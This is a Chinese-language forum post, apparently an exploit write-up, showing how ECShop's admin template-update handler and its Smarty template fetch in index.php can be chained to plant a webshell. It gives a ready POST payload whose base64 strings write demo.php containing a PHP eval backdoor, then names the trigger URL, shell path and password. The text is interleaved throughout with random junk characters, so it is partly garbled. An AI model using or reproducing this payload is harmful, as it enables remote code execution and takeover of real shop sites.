首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
. W" y* g- T2 o" F: t% \+ d; h8 ~2 V7 U7 V! w
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
+ o6 f& }) O$ F+ T8 M5 f2 [但是ecshop似乎不支持{php}{/php}这个标签来执行php代码8 r8 H0 A. |9 o( z0 t+ Y" w! P
admin/template.php
$ Q- T) Q! d2 c. |0 @4 g
3 Q: o' t1 A# ?1 ~6 ]7 O1 if ($_REQUEST['act'] == 'update_library') 1 h. G# Y& Y6 d2 j+ K
3 e; Q# B1 ^1 m* V9 \6 h
2
& Y& J, [8 k4 \& D s8 x- Q! Z5 P3 `3 I% T: h8 s
3 { . Z0 q. b* w# m7 j; V5 k) B
4 C3 ^9 s, Z+ N4 check_authz_json('library_manage'); y- z, H3 V4 F9 W+ Q$ b! e& @
' m2 i: L( r: N0 W% \6 M( r5
% m: e- |4 A) X7 [0 g
/ Q3 e1 [0 O5 _2 T: R3 t6 $html = stripslashes(json_str_iconv($_POST['html'])); ' x2 L& R4 ]3 l8 V' p9 F' H' P
6 N; g1 i" D* R7 $ h6 u9 m0 y2 b2 h
! M6 i+ @& Q, v8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 3 t: D+ S) V6 q' K% C+ l
. G* x9 V8 `+ ?% U- {9
( [7 y2 H7 O' T4 G
" _+ J; | c8 T" v- ^10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 . E) ^% I4 G4 s! V- \6 z. l, J6 k
2 n/ H8 }4 e2 [8 ]; _! [/ r: s
11 * _, b9 R( _$ r X+ f+ v% _% @
( X9 z: ?6 l v/ E0 J5 D12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
; _4 q" e2 \; F$ Q/ L/ ~" b- ^9 W4 y% S& ^: }: T( \5 p
13
% K2 ?& h5 a6 W9 H) t
( U5 Z/ k8 F4 H* S14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
H$ r' s9 X5 S# b: i$ S+ m8 b" U& Q! F* \* H p' s* d
15 {
% N8 ^+ R2 f4 Z7 c4 m0 E# s0 r& J# p+ Y6 [; A7 w
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); 5 V# V4 q: v$ h4 t0 @$ S1 x
' V1 F9 ]0 \+ \4 [
17 make_json_result('', $_LANG['update_lib_success']);
& t3 y1 H8 B v- \4 N& l8 h, U# W7 Z" Q( [+ h- Y
18 } . m$ W/ O& I2 o: b
8 c% ~6 B$ T2 }; p% Y7 T4 v& O( Z
19 else 1 j; [7 _* E" u7 x% S9 i
. H Y+ d1 O- D. |- k, s6 L! o
20 {
+ z: g( Z5 o' A! B( B! A1 Q2 F' @" `5 T) L- B9 S
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); % u2 H/ h5 Q8 D
]# F9 z# s$ ]8 `: b
22 }
6 _. G4 ~, C7 ~ e# w+ u5 \9 C7 _- g6 i/ |% `& y; b% N6 G( f
23 } ' i6 ^% ~& O3 V& K$ E
9 R5 g! w8 @( q! d+ E8 v$ h+ Z9 l2 d
那么找个比较方便调用了模板的文件0 ~( u8 Q# K1 Y- U5 |
index.php
2 s$ r. @0 u8 [/ r: W- D* H+ t6 N$ V% c+ C' u; A
1 if ($act == 'cat_rec')
9 e2 m6 s7 n0 @1 @; V
2 ]! n- q1 s# [) [. \) w& ~0 o* w5 ~: w1 [2 3 p7 n8 Y Z6 [5 a- w7 p8 M; a
8 T- N0 J7 K7 R2 X. P3 H3 {
7 o* c, v( }) S& \, _5 ~0 C
3 i( d& Z' \/ Y1 ^6 l4
; f3 H- D$ o$ [0 S; w2 ^. X! z* d7 {( U/ c( o7 R" W
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
/ h/ H c. B7 G$ E, n. w* n4 _7 ~' W7 { h w
6 1 t& i" k0 X j; R: {4 L
1 r" u. x# f& [6 K4 Z" E1 ~. Q
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
4 T7 b) u$ `2 M, u4 d7 b0 q2 _ k$ f7 g: f) u, d
8
* a+ e$ o; ~% V0 K, q4 ]" ~) x! W( B0 `" h( J
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; 1 V9 C2 n+ Q. Q, A$ u
' B) Q. g+ n# w
10 ) b# S9 Y$ F& v3 M6 H9 j2 w; d3 B
* K% r! w. G3 s# ~: C, G! D/ J
11 include_once('includes/cls_json.php'); & ]" K1 w8 @, y& ^ r5 P) i
. O3 n. E/ @5 ]& W
12 7 r* l9 [# \5 b6 B
2 t3 d" S. I7 e% @) X6 {8 V8 E13 $json = new JSON;
t9 ?" T- n+ i$ Y' j+ S" T2 J" w' W# E, q5 X( M
14
* l- H! ~+ F- N2 `* U" v
7 s( O+ w1 m$ A" C; L4 b' V( @15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
/ R# G% Z7 x. o, B% b5 Q
0 t6 {- M- d0 f7 @" b- v5 l16 2 u: \- d8 D) | K
, J+ R, z; K9 z0 I3 T
17 $children = get_children($cat_id);
0 v( i8 Z2 J, t5 I* B# ]. J- d' \+ E% I( R. m6 Y+ O
18 7 v( Q: l E/ h$ c0 b
* {7 [2 g+ T% j* H" t& @' {
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 5 P( \5 x8 K9 S. P
. c" {* L8 B" k8 s# k% T20 9 \, \8 O# G" F A5 v
& [ B, r- X2 n) g6 ~21 $smarty->assign('cat_rec_sign', 1);
, i1 t7 ^% ^; I! G
, }" ], n, [ K D; l5 P22 6 B2 k- D* J* Q
" q8 ]3 k5 n4 Q( m3 `4 E! l8 c7 s23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best , R* p1 S7 h1 O$ T s! F# ~
8 A: `, n: h) H9 U) ~* ]+ X; S
24
% j& z: w, k# z
" @/ V/ m- x. @- }2 |# D25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 3 P3 _$ L! t8 {* z
7 U1 K1 M+ L1 n! P26 1 C( K3 {0 {- S& N9 g" d6 F1 n3 M
/ m: j9 z% D# U. `- H! C27 echo $rec_array[$rec_type]; 6 J) P. z4 T {3 v- N
, g" ?6 D: d+ \4 F28
) m$ ? d0 L- ]" R, S
Q4 Z5 [: A1 k, |/ V. i6 S5 R29 die($json->encode($result)); ; C( i# s" E; r( k; u2 [% r
4 U# z7 h- S3 l30
& i& @/ |2 t% M4 c0 O8 _5 M# |* M! K* u1 s1 R& N, s
31 }
8 m/ ~ t' f9 d, M" j8 r; {! l5 h L( P' H" e) O2 a9 R
那么就有利用方法了( w9 l1 Z6 ]0 D) {) {
post包到http://localhost/ec/admin/template.php?act=update_library
" D% ]1 n F2 i+ f& gPost内容:
8 `! e$ T: `+ A3 F# ]0 s: [! X2 y) g1 f! D, E. f+ g6 m8 C4 i
! w* n1 O. R' K# B; ]7 s! t1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} ; {% h4 n& N+ z% w3 n& y5 z2 _
/ g1 r9 T! L0 Z- q% T然后访问http://localhost/ec/index.php?act=cat_rec& w$ K) c. A% S( @
; \9 B0 _) K8 d5 q. Y
shel地址:http://localhost/ec/demo.php
, q& ~6 g" |; [1 ?; l; u7 n; a密码c
: i5 e! r" Q1 d$ o- A" e7 L& X. a* H) k) m" a( P
|